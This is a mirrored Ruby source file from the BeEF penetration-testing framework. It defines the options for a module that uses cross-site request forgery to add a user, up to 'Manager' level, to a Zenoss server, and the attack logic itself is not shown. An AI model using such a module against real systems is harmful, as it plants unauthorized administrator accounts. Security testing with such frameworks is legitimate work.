Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/zenoss_add_user_csrf/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Zenoss_add_user_csrf < BeEF::Core::Command
7
def self.options
8
[
9
{ 'name' => 'base', 'ui_label' => 'Zenoss web root', 'value' => 'http://192.168.1.1:8080/' },
10
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },
11
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },
12
{ 'name' => 'user_level',
13
'type' => 'combobox',
14
'ui_label' => 'User Level',
15
'store_type' => 'arraystore',
16
'store_fields' => ['user_level'],
17
'store_data' => [
18
['Manager'],
19
['ZenManager'],
20
['ZenUser']
21
],
22
'emptyText' => 'Select a user level ("Manager" is highest)',
23
'valueField' => 'user_level',
24
'displayField' => 'user_level',
25
'mode' => 'local',
26
'autoWidth' => true }
27
]
28
end
29
30
def post_execute
31
save({ 'result' => @datastore['result'] })
32
end
33
end
34
35